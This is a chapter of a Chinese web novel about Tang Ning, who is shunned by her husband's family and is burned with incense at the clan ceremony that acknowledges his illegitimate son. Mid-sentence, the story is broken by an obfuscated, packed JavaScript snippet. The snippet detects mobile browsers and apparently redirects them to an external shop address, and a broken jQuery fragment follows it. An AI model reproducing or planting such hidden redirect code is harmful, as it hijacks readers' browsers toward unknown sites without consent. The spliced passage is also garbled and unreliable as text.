外面突然下起了雨,伴随着轰隆的雷声,看来天气要降温了。
唐宁思绪短暂地在天气上停留,低头将那些评论大致划过,没过多久,休息室的门从外面推开。
陈砚珩径直走进来,手臂挽着外套,“跟我走。”
唐宁不动:“去哪?发布会帮你澄清?”
男人瞳底幽深,语气比以往都要沉得吓人,“你觉得你有资格去?”
他又道:“既然要离婚了,还让大家知道你是陈太太做什么。你以为陈家离不开你?还是我离不开你?”
他步步逼近唐宁,“以后,你不许再出现在公众场合,你的所有活动全部取消。”
他没给唐宁反驳的机会,一锤定音。
那天之后,再没有导演敢用唐宁,她在圈内是被**的状态,无演出行程,有关她的视频和博文被下架,甚至连她的官方账号也被封禁。
对此,不知情的人都觉得唐宁被**,是陈砚珩为了哄那位白月光,谁让唐宁每次一出场,宋栀都会被拉出来审判呢。
唐宁之前积累的粉丝对此也有过不满,但她们的发声都湮没在网络的洪流中。
后面接连爆料几个流量明星大瓜,热度飞升,对比那几个知名度极高的流量明星,唐宁这事也就不值一提了,很快就会被遗忘。
甚至大部分曾经帮唐宁说过话的人,过一两个月再也想不起来这事。
这些时日,唐宁都在实验室潜心钻研。
网上的事她无可奈何,她只能去做自己唯一还能做的事,忙起来时忘记吃饭都是常事。
疲惫是真的,但看着每天都离他们的目标近一点点,心底被热爱充实的幸福也不断滋养着她。
好似陈家那些糟糕透了的事都和她无关了。
这天休假,唐宁照例拎着保温盒去看望外婆。
外婆闭着眼安静地躺在床上,看着脸色是比之前好了一些,她心里滑过一丝暖意,嘴角忍不住扬了扬。
走进去,却发现外婆的床头柜上还放着一个保温盒,她并未见过。
看了护工一眼,两人走出去。
“那是谁送来的?”
护工开口回答:“唐桦川,他还让我别说是他送的。而且每次过来,都给你外公按摩一遍才走。”
唐宁冷笑一声,不用猜都知道唐桦川想做什么,无非是连着送一个月,然后找个机会让外婆知道一直是他在给她送饭,让外婆感动。
他的手段向来恶心!
唐宁:“以后不要收,也别让他进病房,他和我外婆外公没有关系,再来就叫保安。”
“好,我知道了。”
唐宁不放心,唐桦川肯定不会放弃的。
他曾经可是亲自说过要和妈妈的娘家人划清界限,如今连这种事都做得出来,真是铁了心要送儿子去联合国学院。
她将唐桦川的保温盒带走,丢进了垃圾桶。
下楼时,有两个护士跟她一起乘电梯下去,两人在聊天。
“陈砚珩大老婆真能忍啊,外面的小老婆都爆出来了,人家还有个私生子,我还等着她出来手撕小三呢,结果什么动静都没有。”
“人家不是澄清说了吗,孩子是之前生的,现在两人没关系,再说了我估计那个大老婆根本带不出手,才一直没有出现在公众媒体。”
“也是,小老婆虽然腿残疾了吧,但好歹有能力,听说陈氏的核心项目这次冲击力很大呢。”
电梯门开了,两人推着医药车出去。
唐宁随后一步出去。
一楼人多,有个母亲坐在等候区哄着哭闹不停的婴儿,有护士扶着老人进电梯。
她从医院出去,手机铃声响起。
是老太太打来的。
今天是陈家给宋予安安排的家族宴会,带他认祖归宗,当着家族所有人的面承认他,官宣正式纳入家族继承序列、分配家族权益。
而她现在还是陈砚珩的老婆,算是宋予安的后妈,老太太前两天就给她打了电话,让她一定要到场。
唐宁开车去了老宅。
祠堂檀香沉沉,厚重朱漆木门自两侧敞开,鎏金匾额泛着冷肃的光泽。
她算是晚到,其他人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547114|202610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都已经依次按照身份顺序站在祠堂里。
最中间是陈砚珩带着宋予安。
男人一身深炭灰定制西装,肩线利落挺括,成熟清隽的轮廓格外冷峻。
这些天,唐宁都住在熙江府,没有回过梧桐金岸,大概陈家那边自知这次对不起她,任由着她平复。
几天不见,男人好似更疲惫,目光落在她身上时,眼底幽邃复杂,下颌线条瘦削了些,香案前的烛火摇曳,将他冷白的侧脸映得明暗交错。
七十多的老爷子端坐主位,两侧族中长辈分列肃立,五十多的陈孚升垂手立于旁侧。
唐宁一进去,大家依次回头,目光望向她。
人人脸色平淡,不敢露出什么异样。
但唐宁收到过曲池发来的消息,她现在已经成了圈子里的笑话,成了那些贵太太们的饭后谈资。
就连陈家的旁支对外都敢笑话她两句。
唐宁一步步走过去,手里被塞了三根香。
陈砚珩和宋予安手里也有香,将由陈砚珩和唐宁一起带着这孩子上香。
一切都平静又安宁。
直到上香时,宋予安将手上点燃的香丢在唐宁身上。
今天放晴,唐宁穿的单薄,真丝的裙子还贴身,她感觉到小腹被灼烫了一下,手上的香一抖,掉下去,正好在宋予安的手臂上,他穿的短袖,露出小手臂,迅速被烫出泡。
有人惊呼,一群人迅速上前围住这小太子,展示出自己的关心担忧。
还有人迫不及待问责唐宁:“你说你多大一个人了,你连香都拿不稳吗?”
“我看根本就是嫉恨小安,以后可不能让小安跟她单独待在一起。”
“就是,这么多人看着她都敢明目张胆伤害小安,还不知道以后要使出什么手段。”
唐宁什么都没做,已经成了他们自我想象中的恶毒后妈。
就连家庭医生拿着医药箱来处理,也是从一群人中率先找到宋予安。
唐宁被挤了出去,她低头,抓着裙子,身侧传来陈应时的声音,“先回房间处理一下吧。”